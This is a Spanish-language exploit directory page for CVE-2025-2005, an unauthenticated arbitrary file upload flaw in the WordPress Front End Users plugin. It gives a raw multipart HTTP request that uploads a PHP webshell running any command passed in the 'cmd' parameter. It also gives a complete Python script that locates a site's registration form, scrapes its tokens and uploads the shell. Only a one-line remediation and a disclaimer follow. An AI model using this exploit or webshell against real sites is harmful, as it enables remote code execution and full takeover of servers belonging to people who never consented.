Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-2005 — El plugin WordPress Front End Users <= 3.2.32 es vulnerable a la subida arbitraria de archivos. | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2025-2005
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubnxploited/cve-2025-2005

CVE-2025-2005

El plugin WordPress Front End Users <= 3.2.32 es vulnerable a la subida arbitraria de archivos.

Ver Repositorio
93hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-2005

El Plugin Front End Users de WordPress <= 3.2.32 es vulnerable a la subida de archivos arbitrarios

Explotación del Plugin Front-End Users de WordPress

Información de la Vulnerabilidad

  • Nombre del Plugin: Front-End Users Plugin
  • Versión Afectada: <= 3.2.32
  • Tipo de Vulnerabilidad: Subida de Archivos Arbitraria
  • Puntuación CVSS: 10 (Crítica)
  • Riesgo: Esta vulnerabilidad permite a atacantes no autenticados subir archivos arbitrarios (como webshells PHP), que pueden ejecutarse de forma remota. Esto proporciona la ejecución completa de código en el servidor, lo que conduce al compromiso total del sistema.

Descripción de la Vulnerabilidad

La vulnerabilidad existe en la forma en que el plugin Front-End Users maneja la subida de archivos a través de los formularios de registro. No hay una validación adecuada de la extensión de los archivos, comprobaciones de autenticación ni saneamiento del tipo de archivo. Un atacante puede enviar una petición POST multipart/form-data a cualquier formulario de registro generado por el plugin e incluir un archivo PHP malicioso en el campo personalizado (por ejemplo, Nxploit).

Aunque el plugin almacena los archivos subidos en el directorio wp-content/uploads/ewd_feup_uploads/, el archivo subido se renombra con un hash aleatorio. Sin embargo, el archivo sigue siendo ejecutable si la ejecución de PHP está permitida en el directorio de subidas.


Prueba de Concepto (PoC)

PoC 1 - Petición HTTP Manual

root@kitploit:~
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-post-id"
573

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-omit-level"
No

------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="User_Password"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="Confirm_User_Password"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="First Name"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="Last Name"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="Nxploit"; filename="shell.php"
Content-Type: application/x-php

<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>

------WebKitFormBoundary
Content-Disposition: form-data; name="Register_Submit"
Register
------WebKitFormBoundary--

Después de la petición, el archivo se guardará en la siguiente ubicación:

root@kitploit:~
/wp-content/uploads/ewd_feup_uploads/[RANDOMIZED_FILENAME].php

El nombre del archivo no coincidirá con el nombre subido (por ejemplo, shell.php), pero se puede descubrir manualmente o adivinar con un escáner.


PoC 2 - Script de Explotación en Python

root@kitploit:~
import requests
from bs4 import BeautifulSoup
import tempfile
import argparse
from urllib.parse import urljoin

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False

parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin By: Nxploited | Khaled Alenzi")
parser.add_argument("--url", "-u", required=True, help="Base URL of the target site (e.g. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Username to register")
parser.add_argument("--newpassword", "-np", required=True, help="Password for the new user")
args = parser.parse_args()

base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword

print("[*] Starting scan on:", base_url)

try:
    response = session.get(base_url, timeout=10)
    soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
    print("[-] Failed to fetch base URL.")
    print("Error:", str(e))
    exit()

page_links = set()
for a in soup.find_all("a", href=True):
    href = a["href"]
    if href.startswith("/") or base_url in href:
        full_url = urljoin(base_url, href)
        page_links.add(full_url)

print(f"[*] Found {len(page_links)} internal pages to scan...")

registration_url = None
for link in page_links:
    try:
        page = session.get(link, timeout=10)
        if "ewd-feup-register-form" in page.text and "ewd-feup-check" in page.text:
            registration_url = link
            print(f"[+] Found FEUP registration form at: {registration_url}")
            break
    except:
        continue

if not registration_url:
    print("[-] Could not automatically locate the FEUP registration form.")
    print("[!] Please provide the correct path manually using --url.")
    exit()

page = session.get(registration_url)
soup = BeautifulSoup(page.text, 'html.parser')

def get_input_value(name):
    field = soup.find('input', {'name': name})
    return field['value'] if field else ''

check_value = get_input_value('ewd-feup-check')
time_value = get_input_value('ewd-feup-time')
post_id = get_input_value('ewd-feup-post-id')

file_input = soup.find('input', {'type': 'file'})
file_field_name = file_input['name'] if file_input and 'name' in file_input.attrs else ''

print(f"[+] ewd-feup-check: {check_value}")
print(f"[+] ewd-feup-time: {time_value}")
print(f"[+] ewd-feup-post-id: {post_id}")
print(f"[+] Upload field name: {file_field_name if file_field_name else 'Not found'}")

shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
temp_shell = tempfile.NamedTemporaryFile(delete=False, suffix=".php", mode='w+b')
temp_shell.write(shell_content.encode())
temp_shell.seek(0)

data = {
    'ewd-feup-check': check_value,
    'ewd-feup-time': time_value,
    'ewd-feup-action': 'register',
    'ewd-feup-post-id': post_id,
    'ewd-feup-omit-level': 'No',
    'Username': username,
    'User_Password': password,
    'Confirm_User_Password': password,
    'First Name': 'admin',
    'Last Name': 'admin',
    'Register_Submit': 'Register'
}

files = {file_field_name: ('shell.php', temp_shell, 'application/x-php')} if file_field_name else {}

print("[*] Uploading shell to:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
print(f"[*] HTTP Status Code: {upload_response.status_code}")

if upload_response.status_code == 200:
    print("[+] Upload request completed.")
else:
    print("[-] Upload may have failed.")

temp_shell.close()


Remediación

Actualice el plugin Front-End Users a la última versión segura (si está disponible), o desactívelo temporalmente si no existe un parche. Adicionalmente:



Aviso Legal

Este PoC es solo para fines educativos y de pruebas de seguridad autorizadas. Úselo de forma responsable y solo contra objetivos para los que tenga permiso explícito de prueba.

por Nxploit.

Descargar herramienta